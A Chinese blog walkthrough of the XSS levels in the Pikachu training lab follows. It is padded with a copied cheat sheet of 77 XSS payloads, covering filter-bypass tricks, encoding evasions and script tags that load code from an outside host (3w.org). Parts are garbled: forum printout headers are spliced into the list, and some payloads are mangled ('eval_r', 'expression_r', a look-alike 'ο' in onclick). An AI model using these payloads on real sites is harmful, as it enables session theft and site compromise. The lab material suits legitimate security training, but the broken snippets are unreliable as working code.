pikachu-XSS

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。 XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。 形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
最常用payload:

<script>alert('xss')</script>

反射型xss(get)

直接将payload填入,发现字数有限制,右键检查,将长度改为99:
在这里插入图片描述

重新将payload填入,提交:
在这里插入图片描述

burp抓包,请求为get:
在这里插入图片描述

反射性xss(post)

将payload填入,提交:
在这里插入图片描述

burp抓包,请求为post:
在这里插入图片描述

存储型xss

将payload提交后:
在这里插入图片描述

刷新后再次弹窗:
在这里插入图片描述

DOM型xss

dom树:
在这里插入图片描述

• 通过这个对象模型,JavaScript 获得创建动态 HTML 的所有力量:

  • JavaScript 能改变页面中的所有 HTML 元素

  • JavaScript 能改变页面中的所有 HTML 属性

  • JavaScript 能改变页面中的所有 CSS 样式

  • JavaScript 能删除已有的 HTML 元素和属性

  • JavaScript 能添加新的 HTML 元素和属性

  • JavaScript 能对页面中所有已有的 HTML 事件作出反应

  • JavaScript 能在页面中创建新的 HTML 事件
    查看源码,确认时dom型:
    在这里插入图片描述

    用原来payload发现报错,改payload:
    ’ οnclick=“alert(‘xss’)”>

    填入:
    点击:
    在这里插入图片描述

DOM型xss-x

随便填写提交查看,右键查看源码:
在这里插入图片描述

payload:

' οnclick="alert('xss')">

提交,发现要点击两次:
在这里插入图片描述

xss盲打

payload:

<script>alert('你中招了')</script> 

提交payload后,去后台查看,后台登录地址是/xssblind/admin_login.php:
在这里插入图片描述

xss之过滤

网站会有各种限制使payload失效,对payload进行更改:
1.直接f12修改前端的限制,例如长度。

2.大小写混合:<SCRIpt>ALErt(11)<SCRipt>

3.拼凑:<scr<script>ipt>alert(11)</sc<script>ript>

4.注释符:<scr<!--text-->ipt>alert(11)</sc<!--text-->ript>

5、编码的方式,但是在使用时要注意是否会被输出点识别和翻译,不然绕过了也没有用。
使用payload:<img src=x onerror="alert('xss')">
在这里插入图片描述

xss之htmlspecialchars

定义
htmlspecialchars()函数:把预定义的字符转换为 HTML 实体
语法
htmlspecialchars(string,flags,character-set,double_encode)
预定义的字符
&:转换为& “:转换为” ':转换为成为 ’ <:转换为< >:转换为>

参数
string:必需,规定要转换的字符串
flags :可选,规定如何处理引号、无效的编码以及使用哪种文档类型
character-set :可选,一个规定了要使用的字符集的字符串,如:UTF-8(默认)
double_encode :可选,布尔值,规定了是否编码已存在的 HTML 实体。
flags参数可用的引号类型
ENT_COMPAT :默认仅编码双引号。
ENT_QUOTES:编码双引号和单引号。
ENT_NOQUOTES:不编码任何引号。
注:xss-lab中有些关卡可以利用单引号绕过是因为flags参数默认只编码双引号

double_encode参数布尔值
TRUE:默认,将对每个实体进行转换。
FALSE:不会对已存在的 HTML 实体进行编码。
payload在使用函数中字符便会失效,只要payload没有其中字符就可以插入:
输入lili’"<>& 提交,查看网页源码ctrl+g搜lili,发现只有单引号没有被过滤:
在这里插入图片描述

找个只有单引号的payload:
’ οnclick=‘alert(xss)’
报错,发现x、s都被过滤,将payload改写:
’ οnclick=‘alert(999)’
在这里插入图片描述

xss之href输出

输出在a标签的href属性里面,可以使用javascript协议来执行js
防御:只允许http,https,其次在进行htmlspecialchars处理
查看源码:
在这里插入图片描述

payload:javascript:alert(666)

在这里插入图片描述

xss之js输出

这里讲输入动态的生成到了js中,形成xss
javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义
构造闭合,把原本的

payload:111'</script><script>alert("xss")</script>

在这里插入图片描述

常用xsspayload(网上找的)
hakbar上提供很多payload

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷IMG标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标签,将Javascript分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将Javascript分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces和meta前的IMG标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的JavaScript
\";alert('XSS');//
(30)结束Title标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META链接url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz! Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
 8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在flash中使用ActionScrpt可以混进你XSS的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss" implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)
<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)
<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)
<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)
<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>" SRC="http://3w.org/xss.js"></SCRIPT>
(67)
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL编码
<A HREF="http://3w.org">XSS</A>
(70)IP十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值